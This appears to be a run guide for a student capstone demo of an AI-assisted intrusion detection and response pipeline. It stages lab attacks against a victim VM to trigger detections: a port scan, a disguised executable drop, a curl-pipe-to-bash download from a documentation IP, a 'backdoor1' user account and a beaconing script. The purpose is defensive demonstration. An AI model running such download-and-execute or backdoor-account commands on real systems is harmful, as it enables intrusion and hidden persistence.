AAKCD Live Demo Run Guide

Oct 20, 2026 · @Talhah

Continuous run across three sessions (2 / 2 / 1 attacks). Runner and poller start once at session 1 and stay up. Each command has one line of context under it.

Before the demo (one-time setup)

Before the demo (one-time setup)

Bring everything online except the runner and poller. Do this before anyone arrives; the system then sits idle and ready. On the victim the agent folder is `/home/victim/AAKCD-Capstone`; the poller and dashboard run on the orchestrator (talhahcyber).

PC — Wazuh is up

```
docker ps --format '{{.Names}}'
```

Expect the three Wazuh containers (indexer, manager, dashboard). If they're missing, open Docker Desktop and let them start.

Victim — Zeek capturing

```
sudo /opt/zeek/bin/zeekctl deploy && sudo /opt/zeek/bin/zeekctl status
```

Starts network capture on ens33. Recon and C2 read its conn.log.

Victim — load the exploitation sensor rules (survives reboot)

```
sudo cp /home/victim/AAKCD-Capstone/agents/exploitation/aakcd.rules
/etc/audit/rules.d/aakcd.rules
sudo augenrules --load && sudo auditctl -l | grep aakcd_cmd
```

You should see two execve rules tagged `aakcd_cmd`. These feed the exploitation agent.

Victim — baseline the clean system

```
cd /home/victim/AAKCD-Capstone/installation_agent && sudo /home/victim/AAKCD-
Capstone/.venv/bin/python main.py baseline --host $(hostname)
```

Snapshots the system while it's clean. The backdoor account you add later then shows up as new.

Victim — clear last run's dropped file

```
rm -f /home/victim/Downloads/invoice.pdf.exe
```

So the fresh delivery drop is seen as a new file.

Dashboard — bring it up (any machine on Tailscale)

```
cd /home/talhah/orchestrator && python3 dashboard.py --host 100.102.87.60
```

Opens http://100.102.87.60:8080. It shows empty until the poller runs.

Go live (start of session 1)

Go live (start of session 1)

Start these when the first group is in the room. They stay running across all three sessions.

Orchestrator (talhahcyber)

```
cd /home/talhah/orchestrator && python3 poller.py
```

Starts the Response Orchestrator. It polls Wazuh every 15s and fires responses on high and critical incidents.

Victim — the command feed, then the runner

```
sudo python3 /home/victim/AAKCD-Capstone/agents/exploitation/audit_bridge.py
&
sudo /home/victim/AAKCD-Capstone/.venv/bin/python /home/victim/AAKCD-
Capstone/run_agents.py --delivery-dir /home/victim/Downloads --host
$(hostname)
```

The bridge (backgrounded) turns audited commands into the exploitation feed; the runner then starts all five agents and prints one "watching" line. Leave both up for the rest of the demo.

Session 1 — Reconnaissance + Delivery

Session 1 — Reconnaissance + Delivery

1. Reconnaissance — run from Kali (192.168.79.132)

```
nmap -sS -p1-1000 192.168.79.131
```

Scans 1000 ports on the victim. Zeek sees the burst, the recon agent flags a vertical scan (HIGH), and the orchestrator firewall-drops Kali.

2. Delivery — run on the victim

```
cp /home/victim/AAKCD-Capstone/wazuh/delivery/demo_files/invoice.pdf.exe
/home/victim/Downloads/
```

Drops a disguised attachment (double extension) into the watched folder. Delivery flags it CRITICAL and the orchestrator quarantines it.

Session 2 — Exploitation + Installation

Session 2 — Exploitation + Installation

3. Exploitation — run on the victim, as the normal user (not sudo)

```
curl -s --max-time 5 http://203.0.113.9/a.sh | bash
```

A download-and-execute command. auditd captures it, Groq classifies it as T1105 (ingress tool transfer), and the orchestrator firewall-drops 203.0.113.9. The IP is a documentation address, so nothing is actually fetched; the command text is what gets detected.

4. Installation — run on the victim

```
sudo useradd -m -s /bin/bash backdoor1
```

Creates a rogue persistence account. The installation scan (every 60s) sees a new UID 1000+ account against the baseline, and the orchestrator disables it.

Session 3 — Command & Control

Session 3 — Command & Control

5. Command & Control — two parts.

Start a listener on Kali (192.168.79.132):

```
python3 -m http.server 8000
```

Gives the beacon something to call. Leave it running.

Run the beacon on the victim:

```
python3 /home/victim/AAKCD-
Capstone/agents/command_control/tools/beacon_sim.py --host 192.168.79.132 --
port 8000 --interval 10 --jitter 2 --count 30
```

Beacons to Kali every 10s. The C2 agent (every 60s) spots the near-constant interval and the orchestrator blocks outbound traffic to Kali. Let it run about 3 minutes so enough check-ins build up before the detection fires.

Where to look while it runs

Where to look while it runs

Watch three places side by side. Each attack shows up as "seen" then "contained".

- **Runner terminal (victim)** — one line per detection, e.g. `[recon] HIGH ...`, `[delivery] CRITICAL ...`, `[c2] MEDIUM beacon ...`. This is the attack being seen.
- **Poller terminal (orchestrator)** — the incident and the response, e.g. `=== incident #N ...` then `[RESPONSE] ... -> sent`. This is the attack being contained.
- **Dashboard (http://100.102.87.60:8080)** — overview tiles, the incident list, and each incident's detail with its AI summary. Refresh after each stage.

One rule for a clean board: on the victim, type only the attack commands in this guide during the sessions. The exploitation sensor classifies every command you run, so stray admin or debug typing shows up as extra exploitation alerts and can hit the Groq rate limit. Do any fixing before go-live, not mid-demo.

The victim stays one growing multi-stage incident across sessions 2 and 3 (delivery, exploitation, installation and C2 on the same host), which is the correlation story. Recon from Kali is its own incident.